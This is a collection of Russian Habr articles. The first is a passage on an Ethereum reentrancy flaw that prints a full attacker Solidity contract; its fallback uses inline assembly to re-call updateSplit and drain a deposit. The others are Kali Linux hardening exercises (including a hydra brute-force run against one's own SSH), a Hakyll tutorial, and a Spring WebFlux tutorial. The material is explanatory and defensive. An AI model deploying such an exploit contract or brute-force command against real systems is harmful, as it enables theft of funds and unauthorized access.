// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
// пересылаем долю первому участнику (здесь в атаке вызовется fallback-метод из контракта ниже)
a.transfer(depo * splits[id] / 100);
// остаток - второму участнику (здесь в атаке депозит уйдет на кошель злоумышленника)
b.transfer(depo * (100 - splits[id]) / 100);
}
}
```
Код атакующего контракта:
```
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
// злоумышленник вызывает эту функцию*, передав ей адрес уязвимого контракта PaymentSharer в сети
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
// fallback метод, вызывается по умолчанию на transfer-е
function () payable external {
address x = victim;
// собственно, сама уязвимость в ассемблерной вставке ниже (не что иное, как вызов updateSplit(0, 0)), т.е. нагло меняем параметр Split второй раз и опять загоняем себе полную сумму депозита
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
```
\* в оригинале упущено, но где-то должна быть инициализация вида:
> init(0, «адрес контракта Attacker», «адрес кошеля атакующего»)
перед вызовом метода attack.
Разумеется, есть много вопросов к самому контракту PaymentSharer, на котором нам демонстрируют уязвимость, он сам по себе криво слеплен, и именно в нем проблема,
а не в цене SSTORE, и вообще — в релизной сети не нашли ни одного живого примера, но решили перестраховаться, все ж цена ошибки может быть слишком высока (тут все помянули давно почивший DAO).
Вообще в Ethereum сообществе происходит масса интересных событий: активизировалась борьба серых кардиналов рынка (GPU vs ASIC), что само по себе заслуживает отдельной статьи, предстоящий релиз Bacon Chain набирает обороты, — год обещает быть богатым на события и интриги. | https://habr.com/ru/post/436262/ | null | ru | null |
# Kali Linux: упражнения по защите и мониторингу системы
→ Часть 1. [Kali Linux: политика безопасности, защита компьютеров и сетевых служб](https://habrahabr.ru/company/ruvds/blog/338338/)
→ Часть 2. [Kali Linux: фильтрация трафика с помощью netfilter](https://habrahabr.ru/company/ruvds/blog/338480/)
→ Часть 3. [Kali Linux: мониторинг и логирование](https://habrahabr.ru/company/ruvds/blog/338668/)
В предыдущих трёх материалах мы рассказали о защите Kali Linux, о фильтрации трафика, о мониторинге. Сегодня подведём итоги и представим вашему вниманию несколько упражнений. Здесь приведён перевод разделов 7.6 и «Упражнения» главы 7 книги «[Kali Linux Revealed](https://kali.training/introduction/kali-linux-revealed-book/)».
[](https://habrahabr.ru/company/ruvds/blog/338712/)
7.6. Итоги
----------
В этой главе мы рассмотрели концепции формирования политик безопасности, рассказали о том, на что стоит обратить внимание, создавая подобную политику, и описали некоторые угрозы, которые направлены как на компьютеры, так и на самих специалистов в области информационной безопасности. Мы обсудили меры по защите ноутбуков и настольных компьютеров, показали приёмы настройки встроенного в ядро Linux файрвола `netfilter`. И, наконец, мы рассмотрели средства и стратегии для мониторинга Kali, показали как внедрить их для того, чтобы получить возможность вовремя обнаруживать потенциальные угрозы. Теперь подведём итоги, вспомним самое важное.
* Уделите время формированию политики безопасности.
* Если вы используете Kali Linux на общедоступном сервере, смените все стандартные пароли для служб, которые можно настраивать (подробнее — в разделе 7.3. «[Защита сетевых служб](https://kali.training/chapter-7/7-6-summary/7-securing-and-monitoring-kali/securing-network-services/)») и ограничьте к ним доступ с помощью файрвола (подробнее — в разделе 7.4. «[Файрвол или фильтрация пакетов](https://kali.training/chapter-7/7-6-summary/7-securing-and-monitoring-kali/firewall-or-packet-filtering/)»). Сделать это нужно до запуска служб.
* Используйте `fail2ban` для отражения атак, основанных на угадывании пароля, или удалённых атак на пароли методом грубой силы.
* Если вы поддерживаете веб-службы, организуйте работу с ними через HTTPS для предотвращения перехвата трафика, который может включать аутентификационные куки-файлы, третьими лицами.
* Реальный риск часто возникает если вы путешествуете от клиента к клиенту. Например, ваш ноутбук могут украсть или изъять на таможне. Подготовьтесь к такому развитию событий, используя полное шифрование диска (подробнее — в разделе 4.2.2. «[Установка на полностью зашифрованную файловую систему](https://kali.training/chapter-7/7-6-summary/4-installing-kali-linux/installing-to-hard-drive/#sect.install-encrypted)»). Рассмотрите возможность настройки функции самоуничтожения (подробности — в разделе «[Установка пароля самоуничтожения для повышения уровня безопасности](https://kali.training/chapter-7/7-6-summary/9-advanced-usage/adding-persistence-to-the-live-iso/#sidebar.luks-nuke-password)»). Это позволит вам надёжно защитить данные клиентов.
* Настройте правила файрвола (раздел 7.4. «[Файрвол или фильтрация пакетов](https://kali.training/chapter-7/7-6-summary/7-securing-and-monitoring-kali/firewall-or-packet-filtering/)») для блокировки любого исходящего трафика, за исключением того, который генерирует ваше VPN-соединение. Как результат, вы организуете для себя безопасное сетевое подключение, а если оно окажется разорванным, вы тут же об этом узнаете (а не переключитесь на доступ к интернету по локальной сети).
* Отключите неиспользуемые службы. Kali упрощает эту задачу, так как все внешние сетевые службы по умолчанию отключены.
* В ядро Linux встроен файрвол `netfilter`. Не существует универсальных правил настройки файрволов, подходящих на все случаи жизни, так как пользователи могут предъявлять разные требования к сетям и сетевым службам. Настроить файрвол так, как нужно именно вам, можно из пространства пользователя, используя команды `iptables` и `ip6tables`.
* Программа `logcheck` умеет мониторить лог-файлы, просматривая их, по умолчанию, ежечасно, и отправлять администратору отчёты, содержащие необычные записи, для дальнейшего анализа.
* Утилита `top —` это интерактивный инструмент, которые выводит список выполняющихся процессов.
* Команда `dpkg --verify` (или `dpkg -V`) позволяет вывести отчёт о системных файлах, которые были модифицированы (возможно — злоумышленником). Её недостаток заключается в том, что сравнивая файлы, она полагается на их контрольные суммы, которые могут быть изменены хорошо подготовленным злоумышленником.
* Инструмент Advanced Intrusion Detection Environment (AIDE) позволяет проверять целостность файлов, он обнаруживает любые изменения при сравнении существующих файлов с ранее сохранённым образом эталонной системы.
* Средство `tripwire` очень похоже на AIDE, но оно использует методику подписывания конфигурационного файла, благодаря чему атакующий не может изменить его так, чтобы он указывал на нужную ему версию эталонной базы данных.
* Рассмотрите возможность использования утилит `rkhunter`, `checksecurity`, и `chkrootkit`, которые предназначены для поиска руткитов.
Упражнения
----------
Ниже приведены несколько упражнений, которые позволят вам попрактиковаться в обеспечении безопасности Kali Linux.
### ▍Упражнение №1: защита при работе в сети
1. Идентифицируйте все открытые порты в вашей установке Kali Linux.
2. Настройте файрвол Kali так, чтобы он позволял осуществлять TCP-подключения только к портам 22, 80 и 443.
3. Проверьте, заблокированы ли все остальные порты, используя утилиту вроде `netcat`.
4. Настройте систему так, чтобы правила файрвола сохранялись после перезагрузки. Перезагрузите компьютер для того, чтобы это проверить.
Примечание: если есть такая возможность, хорошо бы ответы на вопросы сделать в сворачиваемом блоке. Аналогично — по ответам на другие вопросы.
### ▍Ответы к упражнению №1
**Посмотреть**1. Проверьте открытые порты:
```
root@kali:~# netstat -tulpen
root@kali:~# iptables -n -L INPUT
```
Если в вашей системе некоторые порты уже заблокированы, или имеются ранее установленные правила `iptables`, вы можете от всего этого избавиться:
```
root@kali:~# iptables -F INPUT
root@kali:~# iptables -P INPUT ACCEPT
root@kali:~# iptables -P FORWARD ACCEPT
root@kali:~# iptables -P OUTPUT ACCEPT
```
Теперь проверьте, можете ли вы подключиться к порту 4444 на вашем компьютере, воспользовавшись `netcat` следующим образом:
```
root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
```
С вашего хоста (если Kali запущена на виртуальной машине), или с другого компьютера, попробуйте подключиться к экземпляру `netcat`, который прослушивает порт 4444. После подключения введите что-нибудь с клавиатуры. Текст должен появиться там, где запущен `netcat`:
```
root@HOST_MACHINE:~# nc -v 172.16.161.136 4444
aaaaaaaa
```
Обратите внимание на то, что если вы вводите текст с клавиатуры, но он не появляется на экране, значит — что-то пошло не так. Разберитесь с этим прежде чем продолжать. Если Kali установлена на виртуальную машину — переключитесь на использование сетевого моста вместо NAT. Добейтесь работоспособности сетевого соединения.
2. Настройку файрвола можно выполнить с помощью следующих команд:
```
iptables -P INPUT DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 443 -j ACCEPT
```
Теперь проверьте, можно ли снова подключиться к порту 4444 на машине, защищённой файрволом:
```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
```
3. Попытайтесь, с хост-компьютера, подключиться к `netcat`. Попытка подключения должна завершиться неудачей.
```
root@HOST_MACHINE:~# nc -v 172.16.161.136 4444
nc: connectx to 172.16.161.136 port 4444 (tcp) failed: Operation timed out
```
4. Теперь создайте скрипт `iptables` из ранее заданных правил:
```
root@kali:~# iptables-save > /usr/local/etc/myconfig.fw
```
Зарегистрируйте конфигурационный скрипт в директиве `pre-up` файла `/etc/network/interfaces`. Перезагрузите систему для того, чтобы убедиться в том, что настройки файрвола сохранились.
```
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
pre-up iptables-restore < /usr/local/etc/myconfig.fw
```
→ [Вот решение](https://asciinema.org/a/ENHvLEz9rLVm3LarsnpyqOtKC) на Asciinema (текст из видео копировать нельзя).
[Вот как всё выглядит](https://asciinema.org/a/KgJ0I7P6VebmIhhtlD2sHOwVG), с точки зрения хост-системы, с которой осуществляется подключение к виртуальной машине с Kali Linux.
### ▍Упражнение №2: мониторинг служб
1. Установите `logcheck`.
2. Попытайтесь атаковать, методом грубой силы, собственную службу SSH, и посмотрите, заметит ли это `logcheck`, отправит ли он вам отчёт об атаке.
3. Запланируйте задание `cron` для ежечасного запуска `logcheck` таким образом, чтобы он, после анализа файлов журналов, создавал лог-файл в `/data/$(date-time).log`.
### ▍Ответы к упражнению №2
**Посмотреть**1. Установите `logcheck` и запустите его в первый раз:
```
apt-get install logcheck
sudo -u logcheck logcheck -o
```
2. Загрузите список паролей, атакуйте собственную службу SSH с помощью брутфорсера `hydra`, посмотрите, что сообщит об этом `logcheck`:
```
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/500-worst-passwords.txt
hydra -l root -P 500-worst-passwords.txt 127.0.0.1 ssh
tail -f /var/log/auth.log
sudo -u logcheck logcheck -o
```
3. Напишите bash-скрипт следующего содержания:
```
mkdir -p /data/
sudo -u logcheck logcheck -o > /data/$(date +"%m-%d-%Y-%T").log
```
Сделайте его исполняемым и поместите в директорию `/etc/cron.hourly`.
→ [Вот решение](https://asciinema.org/a/WdB5MeWMWHIHz3krMOzZ4OcMz) на Asciinema (текст можно копировать из видео).
### ▍Упражнение №3: защита файловой системы
1. Установите `tripwire`. Начните наблюдение за изменениями файлов в директории `/var/www/html/`.
2. Если вы всё сделали правильно, вы столкнётесь со множеством ошибок «File system error». Может быть вас хакнули? В любом случае, исправьте ситуацию.
### ▍Ответы к упражнению №3
**Посмотреть**1. Установите `tripwire` и задайте файлы, которые вы хотите защитить:
```
apt-get install tripwire # yes, yes, yes, yes
nano /etc/tripwire/twpol.txt # list the directories and files you want to protect
```
Добавьте следующий блок кода в файл политик `tripwire`:
```
# Webserver file and folder monitoring
(
rulename = "Web server file and directories",
severity = $(SIG_HI)
)
{
/var/www/html -> $(SEC_BIN);
}
```
Теперь сделайте так, чтобы `tripwire` реагировал на изменения файлов в директории `/var/www/html`:
```
twadmin -m P /etc/tripwire/twpol.txt #Create Policy File
tripwire --init #Initialize database
tripwire --check #Initial integrity check
touch /var/www/html/shell_backdoor.php
tripwire --check
tripwire --update-policy -Z low /etc/tripwire/twpol.txt
tripwire --check
```
→ [Вот решение](https://asciinema.org/a/A4cRubQyLVmdPS9Dbwjgi0NbT) на Asciinema (текст нельзя копировать из видео).
### ▍Информация к размышлению
* Вот интересный пример использования `iptables`. Можно превратить любой компьютер с беспроводным интерфейсом в беспроводную точку доступа с помощью `hostapd`. Вот источник этой идеи:
```
iptables -t nat -F
iptables -F
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
echo '1' > /proc/sys/net/ipv4/ip_forward
(DNS, dhcp still required)
```
* Взгляните на это потрясающее [руководство по iptables](https://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands).
### ▍Итоги
Надеемся, то, что вы узнали из серии материалов, в которых мы публиковали переводы фрагментов седьмой главы книги «[Kali Linux Revealed](https://kali.training/introduction/kali-linux-revealed-book/)», поможет вам сделать вашу систему безопаснее и надёжнее.
Уважаемые читатели! Справились ли вы с упражнениями, или пришлось подглядывать в ответы? | https://habr.com/ru/post/338712/ | null | ru | null |
# Hakyll для начинающих
Однажды вы, как и я какое-то время назад, решаете создать свою персональную страничку с блогом (ну или без). Существует множество способов достигнуть задуманного, в зависимости от вашего опыта программирования, уровня лени ну и степени гикнутости. Но лично мне кажется, что заводить хостинг и домен и создавать серьезный “взрослый” сайт просто чтобы показать себя как-то слишком избыточно. Потому для достижения данной цели вы можете пойти более простым путем — сделать статический сайт.
> Статические сайты быстрые, безопасные, легкие в публикации и могут управляться через систему контроля версий. [Jasper Van der Jeugt](http://jaspervdj.be/)
Я надеюсь, что не нужно приводить доказательства сказанному Йеспером, так как все и так достаточно понятно.
В тот день, когда я принял решение сделать свою персональную страничку, я обнаружил что возможно разместить оную на github. Для публикации будет достаточно вызвать **git push -u origin master** из своего репозитория, так что все должно быть достаточно просто. Но для начала, нам нужно найти какой-нибудь builder статических сайтов, чтобы с его помощью одни раз все настроить, запушать и затем время от времени добавлять свои новые посты, информацию о проектах, ну и что бы вам там хотелось. Настроить популярнейшее решение [Jekyll](http://jekyllrb.com/) на моей Windows машине оказалось как-то слишком проблематично, потому немного полазив в интернете я нашел замечательную альтернативу — [Hakyll](http://jaspervdj.be/hakyll/). А так как у меня давно уже чесались руки попробовать что-нибудь сделать на Хаскелле я решил что стоит попробовать. Если вам интересно последовать по моим стопам, добро пожаловать.
#### Шаг 1. Установка.
Хорошим началом для нас будет заиметь у себя [Haskell Platform](http://www.haskell.org/platform/windows.html). После инсталяции мы получим:
* Глазго компилятор — один из наиболее известных, если я не ошибаюсь.
* Интерактивную среду — одновременно в консольном виде и обернутую в WinGHC приложение.
* Cabal — менеджер пакетов для Хаскелла. (Тут я бы хотел отметить что в моем скромном представлении это все таки менеджер пакетов, хотя в интернете можно почитать и другие [мнения](http://ivanmiljenovic.wordpress.com/2010/03/15/repeat-after-me-cabal-is-not-a-package-manager/) на этот счет).
Мне кажется, что если вы не имели опыта с Хаскеллом дл этого, вам просто необходимо запустить ghci и попробовать что это такое. Альтернативным способом будет попробовать первый раз на [tryhaskell](http://tryhaskell.org/).
Если вы захотите изучить Хаскелл подробнее, могу порекомендовать просто таки замечательнейшую книгу "[Обучи себя Хаскеллу во Имя Добра](http://learnyouahaskell.com/)". Но я раскрою вам маленький секрет. Вам не нужно знать Хаскелл для того, чтобы сделать свой блог на Хакелле. Если у вас уже есть определенный опыт программирования и вы даже знаете что такое система контроля версий (а я уверен что есть и знаете) этого будет более чем достаточно, чтобы закончить читать все нижеописанное. Я бы даже сказал что вам скорее всего пригодились бы навыки html и css чтобы настроить внешний вид собранного по-умолчанию сайта под свои предпочтения, но об этом чуть позже.
#### Шаг 2. Обзаводимся Hakyll
Мы с вами уже готовы оказаться еще ближе к нашей цели, и нам поможет в этом cabal. И отличной идеей будет обновить его.
```
> cabal update
> cabal install cabal-install
```
Понадобиться некоторое время на то, чтобы информация о пакетах обновилась и мы были готовы ко второй волшебной команде:
```
> cabal install hakyll
```
Готово! Или нет. Мы вообщем-то должны были получить хакилл после вызова упомянутой команды, но я лично получил ошибку, о том, что каких-то директорий не оказалось, и прочие ужасы. Я к сожалению не тратил время на то, чтобы детально выяснить в чем же таки дело, и просто спросил у всезнающего гугла. Он предложил выполнить последнюю команду в несколько ином виде:
```
> cabal install --flags="-unixFilter" --constraint="directory installed" hakyll-X.X.X.X
```
Вместо X.X.X.X должна естественно быть версия пакета, посмотреть какая последняя вы можете [тут](http://hackage.haskell.org/package/hakyll): Осмелюсь лишь предположить что ошибка могла произойти только потому что мы используем с вами Windows, и некоторые вещи для нас чуть менее предназначены, чем для других ОС.
#### Шаг 3. Инициализируем сайт.
Несмотря на то, что данные шаги достаточно хорошо описаны на официальной странице проекта, я повторюсь здесь для целостности. Предыдущий шаг должен был вознаградить нас пакетом hakyll, и потому мы открываем с вами в консоли местоположение нашей будущей великолепной персональной странички и делаем следующее:
```
> hakyll-init our_amazing_personal_site
> cd our_amazing_personal_site
```
Посмотрим что у нас вышло. А вышли у нас следующие вещи:
* site.hs содержит хаскелл код который позже будет скомпилирован в исполняемый файл чтобы дать нам возможность собрать сайт и запустить, к примеру, локально сервер чтобы оный сайт посмотреть
* index.html содержит контент нашей домашней странички
* contact.markdown будет скомпилирован в страницу “контакты”
* about.rst будет скомпилирован в страницу “о нас”
* **templates** папочка содержит шаблоны которые в последствии помогут построить различные страницы сайта
* **images** вполне очевидно содержит картинки
* **posts** содержит примеры постов в .markdown формате
* **css** содержит стили для нашего сайта
Безусловно что вы можете поменять здесь все что вам вздумается, но перед тем как делать это, все таки убедитесь что вы знаете хаскелл и изучили содержимое файла site.hs. Ну и конечно сейчас самое время пройтись и посмотреть что содержится в других файлах.
Теперь мы скомпилируем исполняемый файл:
```
> ghc --make site.hs
> site build
```
Вы наверняка обратили внимание, что еще больше файлов появились в найшей папке. Взлянем на них:
* *site.o*, *site.hi* и *site.exe* продукт компиляции site.hs файла
* **\_site** содержит собранный сайт готовый быть открытым в вашем любимом браузере. Ура! :)
* **\_cache** будет содержать кеши по мере того, как мы будем гулять по нашему сайту локально
Если вы поставили хакилл с превью сервером вызывайте:
```
> site preview
```
и торопитесь на [локальный хост](http://localhost:8000/), чтобы увидеть что же у нас вышло. Если ваш 8000 порт оказался занят, то вызывайте:
```
> site server --port=5050
```
и еще раз пытайтесь посмотреть на [результат](http://localhost:5050/).
#### Шаг 4. Публикация.
Я надеюсь что у вас уже есть свой аккаунт на github, ну или если нет, то самое время обзавестись оным. В любом случаем, после регистрации (ну или входа) содаем репозиторий со следующим именем: **[your github username].github.com**
Теперь запускаем gitBush заходим в папочку \_site созданную хакиллом и делаем следующее:
```
$ git init
$ git add .
$ git commit -m "my amazing personal page with hakyll init"
$ git remote add origin [repository address github gently provided you with]
$ git push -u origin master
```
Фух… У нас вышло :) Теперь посетите свой репозиторий и убедитесь что пуш прошел отлично. Ну и наконец посетите свою новую замечательную страничку, просто вбив в браузере **[your github username].github.com**!
#### Эпилог.
Если вы считаете что статья хоть чуток годная, пишите в личку ну или оставляйте комментарии. Спасибо :) | https://habr.com/ru/post/175877/ | null | ru | null |
# Реактивное программирование со Spring, часть 3 WebFlux
Это третья часть [серии блогов о реактивном программировании](https://habr.com/ru/publication/edit/565000/), в которой я познакомлю вас с WebFlux - реактивным веб-фреймворком Spring.
### 1. Введение в Spring WebFlux
Исходный веб-фреймворк для Spring - Spring Web MVC - был построен для Servlet API и контейнеров Servlet.
WebFlux был представлен как часть Spring Framework 5.0. В отличие от Spring MVC, он не требует Servlet API. Он полностью асинхронный и неблокирующий, реализует спецификацию Reactive Streams через проект Reactor (см. [предыдущий пост в блоге](https://habr.com/ru/post/565050/) ).
WebFlux требует Reactor в качестве основной зависимости, но он также может взаимодействовать с другими реактивными библиотеками через Reactive Streams.
#### 1.1 Модели программирования
Spring WebFlux поддерживает две разные модели программирования: на основе аннотаций и функциональную.
**1.1.1 Аннотированные контроллеры**
Если вы работали со Spring MVC, модель на основе аннотаций будет выглядеть довольно знакомой, поскольку в ней используются те же аннотации из веб-модуля Spring, что и в Spring MVC. Основное отличие состоит в том, что теперь методы возвращают реактивные типы Mono и Flux. См. Следующий пример RestController с использованием модели на основе аннотаций:
```
@RestController
@RequestMapping("/students")
public class StudentController {
@Autowired
private StudentService studentService;
public StudentController() {
}
@GetMapping("/{id}")
public Mono> getStudent(@PathVariable long id) {
return studentService.findStudentById(id)
.map(ResponseEntity::ok)
.defaultIfEmpty(ResponseEntity.notFound().build());
}
@GetMapping
public Flux listStudents(@RequestParam(name = "name", required = false) String name) {
return studentService.findStudentsByName(name);
}
@PostMapping
public Mono addNewStudent(@RequestBody Student student) {
return studentService.addNewStudent(student);
}
@PutMapping("/{id}")
public Mono> updateStudent(@PathVariable long id, @RequestBody Student student) {
return studentService.updateStudent(id, student)
.map(ResponseEntity::ok)
.defaultIfEmpty(ResponseEntity.notFound().build());
}
@DeleteMapping("/{id}")
public Mono> deleteStudent(@PathVariable long id) {
return studentService.findStudentById(id)
.flatMap(s ->
studentService.deleteStudent(s)
.then(Mono.just(new ResponseEntity(HttpStatus.OK)))
)
.defaultIfEmpty(new ResponseEntity<>(HttpStatus.NOT\_FOUND));
}
}
```
Некоторые пояснения к функциям, использованным в примере:
* `map` функция используется для преобразования элемента, испускаемого Mono, применяя функцию синхронной к нему.
* `flatMap` функция используется для преобразования элемент, испускаемый Mono асинхронно, возвращая значение, излучаемого другим Mono.
* `defaultIfEmpty` функция обеспечивает значение по умолчанию, если Mono завершается без каких - либо данных.
**1.1.2 Функциональные конечные точки**
Модель функционального программирования основана на лямбда-выражении и оставляет за приложением полную обработку запроса. Он основан на концепциях `HandlerFunctions` и `RouterFunctions`.
HandlerFunctions используются для генерации ответа на данный запрос:
```
@FunctionalInterface
public interface HandlerFunction {
Mono handle(ServerRequest request);
}
```
RouterFunction используется для маршрутизации запросов к HandlerFunctions:
```
@FunctionalInterface
public interface RouterFunction {
Mono> route(ServerRequest request);
...
}
```
Продолжая с тем же примером ученика, мы получим что-то вроде следующего, используя функциональный стиль.
A StudentRouter:
```
@Configuration
public class StudentRouter {
@Bean
public RouterFunction route(StudentHandler studentHandler){
return RouterFunctions
.route(
GET("/students/{id:[0-9]+}")
.and(accept(APPLICATION\_JSON)), studentHandler::getStudent)
.andRoute(
GET("/students")
.and(accept(APPLICATION\_JSON)), studentHandler::listStudents)
.andRoute(
POST("/students")
.and(accept(APPLICATION\_JSON)),studentHandler::addNewStudent)
.andRoute(
PUT("students/{id:[0-9]+}")
.and(accept(APPLICATION\_JSON)), studentHandler::updateStudent)
.andRoute(
DELETE("/students/{id:[0-9]+}")
.and(accept(APPLICATION\_JSON)), studentHandler::deleteStudent);
}
}
```
И StudentHandler:
```
@Component
public class StudentHandler {
private StudentService studentService;
public StudentHandler(StudentService studentService) {
this.studentService = studentService;
}
public Mono getStudent(ServerRequest serverRequest) {
Mono studentMono = studentService.findStudentById(
Long.parseLong(serverRequest.pathVariable("id")));
return studentMono.flatMap(student -> ServerResponse.ok()
.body(fromValue(student)))
.switchIfEmpty(ServerResponse.notFound().build());
}
public Mono listStudents(ServerRequest serverRequest) {
String name = serverRequest.queryParam("name").orElse(null);
return ServerResponse.ok()
.contentType(MediaType.APPLICATION\_JSON)
.body(studentService.findStudentsByName(name), Student.class);
}
public Mono addNewStudent(ServerRequest serverRequest) {
Mono studentMono = serverRequest.bodyToMono(Student.class);
return studentMono.flatMap(student ->
ServerResponse.status(HttpStatus.OK)
.contentType(MediaType.APPLICATION\_JSON)
.body(studentService.addNewStudent(student), Student.class));
}
public Mono updateStudent(ServerRequest serverRequest) {
final long studentId = Long.parseLong(serverRequest.pathVariable("id"));
Mono studentMono = serverRequest.bodyToMono(Student.class);
return studentMono.flatMap(student ->
ServerResponse.status(HttpStatus.OK)
.contentType(MediaType.APPLICATION\_JSON)
.body(studentService.updateStudent(studentId, student), Student.class));
}
public Mono deleteStudent(ServerRequest serverRequest) {
final long studentId = Long.parseLong(serverRequest.pathVariable("id"));
return studentService
.findStudentById(studentId)
.flatMap(s -> ServerResponse.noContent().build(studentService.deleteStudent(s)))
.switchIfEmpty(ServerResponse.notFound().build());
}
}
```
Некоторые пояснения к функциям, использованным в примере:
* `switchIfEmpty` функция имеет ту же цель, `defaultIfEmpty`, но вместо того, чтобы обеспечить значение по умолчанию, она используется для обеспечения альтернативного Mono.
Сравнивая две модели, мы видим, что:
* Для использования функционального варианта требуется еще немного кода для таких вещей, как получение входных параметров и синтаксический анализ до ожидаемого типа.
* Не полагаясь на аннотации, но написание явного кода предлагает некоторую большую гибкость и может быть лучшим выбором, если нам, например, нужно реализовать более сложную маршрутизацию.
#### 1.2 Поддержка сервера
WebFlux работает в средах выполнения, отличных от сервлетов, таких как Netty и Undertow (неблокирующий режим), а также в средах выполнения сервлетов 3.1+, таких как Tomcat и Jetty.
По умолчанию стартер Spring Boot WebFlux использует Netty, но его легко переключить, изменив зависимости Maven или Gradle.
Например, чтобы переключиться на Tomcat, просто исключите spring-boot-starter-netty из зависимости spring-boot-starter-webflux и добавьте spring-boot-starter-tomcat:
```
org.springframework.boot
spring-boot-starter-webflux
org.springframework.boot
spring-boot-starter-netty
org.springframework.boot
spring-boot-starter-tomcat
```
#### 1.3 Конфигурация
Spring Boot обеспечивает автоматическую настройку Spring WebFlux, которая хорошо работает в общих случаях. Если вам нужен полный контроль над конфигурацией WebFlux, можно использовать аннотацию `@EnableWebFlux` (эта аннотация также потребуется в простом приложении Spring для импорта конфигурации Spring WebFlux).
Если вы хотите сохранить конфигурацию Spring Boot WebFlux и просто добавить дополнительную конфигурацию WebFlux, вы можете добавить свой собственный класс @Configuration типа WebFluxConfigurer (но без @EnableWebFlux).
Подробные сведения и примеры см. в документации по [конфигурации WebFlux](https://docs.spring.io/spring-framework/docs/current/reference/html/web-reactive.html#webflux-config).
### 2. Защита ваших конечных точек
Чтобы получить поддержку Spring Security WebFlux, сначала добавьте в свой проект зависимость spring-boot-starter-security. Теперь вы можете включить его, добавив `@EnableWebFluxSecurity` аннотацию в свой класс Configuration (доступно с Spring Security 5.0).
В следующем упрощенном примере будет добавлена поддержка двух пользователей, один с ролью USER, а другой с ролью ADMIN, принудительно применить базовую аутентификацию HTTP и потребовать роль ADMIN для любого доступа к пути /student/admin:
```
@EnableWebFluxSecurity
public class SecurityConfig {
@Bean
public MapReactiveUserDetailsService userDetailsService() {
UserDetails user = User
.withUsername("user")
.password(passwordEncoder().encode("userpwd"))
.roles("USER")
.build();
UserDetails admin = User
.withUsername("admin")
.password(passwordEncoder().encode("adminpwd"))
.roles("ADMIN")
.build();
return new MapReactiveUserDetailsService(user, admin);
}
@Bean
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http.authorizeExchange()
.pathMatchers("/students/admin")
.hasAuthority("ROLE_ADMIN")
.anyExchange()
.authenticated()
.and().httpBasic()
.and().build();
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}
}
```
Также можно защитить метод, а не путь, сначала добавив аннотацию `@EnableReactiveMethodSecurity` к вашей конфигурации:
```
@EnableWebFluxSecurity
@EnableReactiveMethodSecurity
public class SecurityConfig {
...
}
```
А затем добавляем `@PreAuthorize` аннотацию к защищаемым методам. Например, мы можем захотеть, чтобы наши методы POST, PUT и DELETE были доступны только для роли ADMIN. Затем к этим методам можно применить аннотацию PreAuthorize, например:
```
@DeleteMapping("/{id}")
@PreAuthorize("hasRole('ADMIN')")
public Mono> deleteStudent(@PathVariable long id) {
...
}
```
Spring Security предлагает дополнительную поддержку, связанную с приложениями WebFlux, например защиту CSRF, интеграцию OAuth2 и реактивную аутентификацию X.509. Для получения дополнительной информации прочтите следующий раздел в документации Spring Security: [Реактивные приложения](https://docs.spring.io/spring-security/site/docs/current/reference/html5/#reactive-applications)
### 3. Веб-клиент
Spring WebFlux также включает реактивный, полностью неблокирующий веб-клиент. У него есть функциональный, свободный API, основанный на Reactor.
Давайте рассмотрим (еще раз) упрощенный пример того, как WebClient можно использовать для запроса нашего StudentController:
```
public class StudentWebClient {
WebClient client = WebClient.create("http://localhost:8080");
public Mono get(long id) {
return client
.get()
.uri("/students/" + id)
.headers(headers -> headers.setBasicAuth("user", "userpwd"))
.retrieve()
.bodyToMono(Student.class);
}
public Flux getAll() {
return client.get()
.uri("/students")
.headers(headers -> headers.setBasicAuth("user", "userpwd"))
.retrieve()
.bodyToFlux(Student.class);
}
public Flux findByName(String name) {
return client.get()
.uri(uriBuilder -> uriBuilder.path("/students")
.queryParam("name", name)
.build())
.headers(headers -> headers.setBasicAuth("user", "userpwd"))
.retrieve()
.bodyToFlux(Student.class);
}
public Mono create(Student s) {
return client.post()
.uri("/students")
.headers(headers -> headers.setBasicAuth("admin", "adminpwd"))
.body(Mono.just(s), Student.class)
.retrieve()
.bodyToMono(Student.class);
}
public Mono update(Student student) {
return client
.put()
.uri("/students/" + student.getId())
.headers(headers -> headers.setBasicAuth("admin", "adminpwd"))
.body(Mono.just(student), Student.class)
.retrieve()
.bodyToMono(Student.class);
}
public Mono delete(long id) {
return client
.delete()
.uri("/students/" + id)
.headers(headers -> headers.setBasicAuth("admin", "adminpwd"))
.retrieve()
.bodyToMono(Void.class);
}
}
```
### 4. Тестирование
Для тестирования вашего реактивного веб-приложения WebFlux предлагает WebTestClient, который поставляется с API, аналогичным WebClient.
Давайте посмотрим, как мы можем протестировать наш StudentController с помощью WebTestClient:
```
@ExtendWith(SpringExtension.class)
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class StudentControllerTest {
@Autowired
WebTestClient webClient;
@Test
@WithMockUser(roles = "USER")
void test_getStudents() {
webClient.get().uri("/students")
.header(HttpHeaders.ACCEPT, "application/json")
.exchange()
.expectStatus().isOk()
.expectHeader().contentType(MediaType.APPLICATION_JSON)
.expectBodyList(Student.class);
}
@Test
@WithMockUser(roles = "ADMIN")
void testAddNewStudent() {
Student newStudent = new Student();
newStudent.setName("some name");
newStudent.setAddress("an address");
